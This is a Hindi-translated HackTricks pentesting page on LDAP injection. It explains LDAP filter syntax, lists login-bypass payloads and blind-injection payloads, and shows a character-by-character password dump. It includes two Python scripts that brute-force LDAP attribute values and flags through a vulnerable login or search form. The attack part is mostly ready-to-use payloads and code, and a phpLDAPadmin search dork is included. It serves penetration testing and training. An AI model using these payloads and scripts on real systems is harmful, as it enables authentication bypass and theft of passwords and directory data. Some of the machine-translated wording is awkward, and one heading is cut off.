hacktricks/pentesting-web/ldap-injection.md
2024-04-06 18:32:19 +00:00

13 KiB

LDAP Injection

LDAP Injection

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आप हैकिंग करियर में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).

{% embed url="https://www.stmcyber.com/careers" %}

LDAP Injection

LDAP

यदि आप जानना चाहते हैं कि LDAP क्या है तो निम्नलिखित पृष्ठ पर जाएं:

{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}

LDAP Injection एक हमला है जो वेब एप्लिकेशनों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP वक्तव्य बनाते हैं। यह उस समय होता है जब एप्लिकेशन इनपुट को सही ढंग से सैनिटाइज़ नहीं करता, जिससे हमलावादी स्थानीय प्रॉक्सी के माध्यम से LDAP वक्तव्य को बदल सकते हैं, जो अनधिकृत पहुंच या डेटा संशोधन की ओर ले जा सकता है।

{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

फ़िल्टर = ( filtercomp )
फ़िल्टरकॉम्प = and / or / not / item
एंड = & filterlist
या = |filterlist
नॉट = ! filter
फ़िल्टरलिस्ट = 1*filter
आइटम= सिम्पल / प्रेजेंट / सबस्ट्रिंग
सिम्पल = attr filtertype assertionvalue
फ़िल्टरटाइप = '=' / '~=' / '>=' / '<='
प्रेजेंट = attr = *
सबस्ट्रिंग = attr ”=” [initial] * [final]
इनिशियल = assertionvalue
फाइनल = assertionvalue
(&) = पूर्ण सत्य
(|) = पूर्ण झूठ

उदाहरण के लिए:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))

आप डेटाबेस तक पहुंच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है।

OpenLDAP: अगर 2 फ़िल्टर पहुंचते हैं, तो केवल पहला चलाता है।
ADAM या Microsoft LDS: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।
SunOne Directory Server 5.0: दोनों फ़िल्टर चलाता है।

फ़िल्टर को सही सिंटैक्स के साथ भेजना बहुत महत्वपूर्ण है या एक त्रुटि फेंकी जाएगी। बेहतर है केवल 1 फ़िल्टर भेजना।

फ़िल्टर को इस प्रारंभ करना होगा: & या |
उदाहरण: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void

फिर: (&(objectClass=*)(ObjectClass=*)) पहला फ़िल्टर होगा (जो चलाया जाएगा).

लॉगिन बाइपास

LDAP कई प्रारूप समरक पासवर्ड स्टोर करने के लिए समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप पासवर्ड में जो कुछ भी डालें, वह हैश हो।

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

सूची

अंधा LDAP अंदरघुस्ती

आप नकली या सच्चे प्रतिक्रियाएँ बलवान कर सकते हैं ताकि जांच कर सकें कि क्या कोई डेटा वापस आ रहा है और एक संभावित अंधा LDAP अंदरघुस्ती की पुष्टि कर सकें:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

डेटा डंप

आप एस्की अक्षर, अंक और प्रतीकों पर चल सकते हैं:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

स्क्रिप्ट

मान्य LDAP फ़ील्ड्स का पता लगाएं

LDAP ऑब्ज

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

विशेष ब्लाइंड LDAP इंजेक्शन (बिना "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

गूगल डॉर्क्स

intitle:"phpLDAPadmin" inurl:cmd.php

अधिक Payloads

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और बोली जानी चाहिए).

{% embed url="https://www.stmcyber.com/careers" %}

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: